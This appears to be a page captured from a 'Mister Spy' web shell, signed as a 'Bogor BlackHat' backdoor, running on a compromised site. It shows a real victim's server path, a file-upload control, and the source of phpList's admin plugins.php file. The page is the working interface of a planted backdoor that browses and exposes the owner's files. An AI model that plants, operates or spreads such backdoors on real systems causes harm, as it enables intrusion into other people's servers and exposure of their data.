Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/actions/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/actions/plugins.php

<?php
verifyCsrfGetToken();

$status = 'FAIL';
$disabled_plugins = unserialize(getConfig('plugins_disabled'));

if (isset($_GET['disable'])) {
  if (isset($GLOBALS['plugins'][$_GET['disable']])) {
    $disabled_plugins[$_GET['disable']] = 1;
  }
  saveConfig('plugins_disabled',serialize($disabled_plugins),0);
  $status = $GLOBALS['img_cross'];
} elseif (isset($_GET['enable'])) {
  if (isset($disabled_plugins[$_GET['enable']])) {
    unset($disabled_plugins[$_GET['enable']]);
  }
  if (isset($GLOBALS['allplugins'][$_GET['enable']])) {
     $GLOBALS['allplugins'][$_GET['enable']]->initialise();
  }
#  var_dump($disabled_plugins);
  saveConfig('plugins_disabled',serialize($disabled_plugins),0);
  $status = $GLOBALS['img_tick'];
} elseif (isset($_GET['initialise'])) {
  if (isset($GLOBALS['plugins'][$_GET['initialise']])) {
    $status = $GLOBALS['plugins'][$_GET['initialise']]->initialise();
  }
}
#var_dump($_GET);

return $status;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat